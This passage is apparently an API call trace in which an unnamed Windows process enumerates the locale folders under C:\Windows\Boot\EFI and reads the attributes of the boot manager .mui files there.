	[0086.364] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe532bd50, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b0e591, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b0e591, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.364] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.364] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.364] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\ko-kr\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409368 | out: lpFileInformation=0x12409368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe212f340, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x782e3810, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x12640)) returned 1
	[0086.364] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\ko-kr\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x124093b8 | out: lpFileInformation=0x124093b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe532bd50, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b0e591, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b0e591, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10a00)) returned 1
	[0086.365] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\memtest.efi" (normalized: "c:\\windows\\boot\\efi\\memtest.efi"), fInfoLevelId=0x0, lpFileInformation=0x12409408 | out: lpFileInformation=0x12409408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x858f6367, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x858f6367, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85a9928a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x95380)) returned 1
	[0086.365] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO" (normalized: "c:\\windows\\boot\\efi\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x12409458 | out: lpFileInformation=0x12409458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.366] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO" (normalized: "c:\\windows\\boot\\efi\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.366] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.366] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.366] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe356aca8, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3c8ee18, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784605a8, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15840, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.366] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1de9542, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe25f1ee0, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe25f1ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.366] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.366] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.366] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\nb-no\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409548 | out: lpFileInformation=0x12409548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe356aca8, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3c8ee18, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784605a8, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15840)) returned 1
	[0086.367] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\nb-no\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409598 | out: lpFileInformation=0x12409598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1de9542, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe25f1ee0, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe25f1ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13c00)) returned 1
	[0086.367] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL" (normalized: "c:\\windows\\boot\\efi\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x124095e8 | out: lpFileInformation=0x124095e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.367] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL" (normalized: "c:\\windows\\boot\\efi\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.367] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.368] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.368] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe49cc76d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe50f08dd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78c68f10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.368] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadebcea, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb4e9cfd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb50fe5a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.368] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.368] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.368] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\nl-nl\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x124096d8 | out: lpFileInformation=0x124096d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe49cc76d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe50f08dd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78c68f10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0086.368] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\nl-nl\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409728 | out: lpFileInformation=0x12409728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadebcea, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb4e9cfd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb50fe5a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600)) returned 1
	[0086.369] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL" (normalized: "c:\\windows\\boot\\efi\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x12409778 | out: lpFileInformation=0x12409778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.369] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL" (normalized: "c:\\windows\\boot\\efi\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.369] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.369] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.369] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c15437, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8385861, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x788b0d14, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.369] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2402d27, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2b73151, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2b73151, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.369] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.369] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.369] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\pl-pl\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409868 | out: lpFileInformation=0x12409868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c15437, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8385861, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x788b0d14, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0086.369] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\pl-pl\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x124098b8 | out: lpFileInformation=0x124098b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2402d27, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2b73151, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2b73151, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600)) returned 1
	[0086.370] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR" (normalized: "c:\\windows\\boot\\efi\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x12409908 | out: lpFileInformation=0x12409908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.370] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR" (normalized: "c:\\windows\\boot\\efi\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.370] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.370] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.370] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe551af09, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5cfd74a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.370] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42a85fd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.370] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.371] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.371] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\pt-br\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x124099f8 | out: lpFileInformation=0x124099f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe551af09, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5cfd74a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1
	[0086.371] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\pt-br\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409a48 | out: lpFileInformation=0x12409a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42a85fd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400)) returned 1
	[0086.371] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT" (normalized: "c:\\windows\\boot\\efi\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x12409a98 | out: lpFileInformation=0x12409a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.372] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT" (normalized: "c:\\windows\\boot\\efi\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.372] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.372] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.372] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b7cec3, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe831344a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7830996c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.373] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
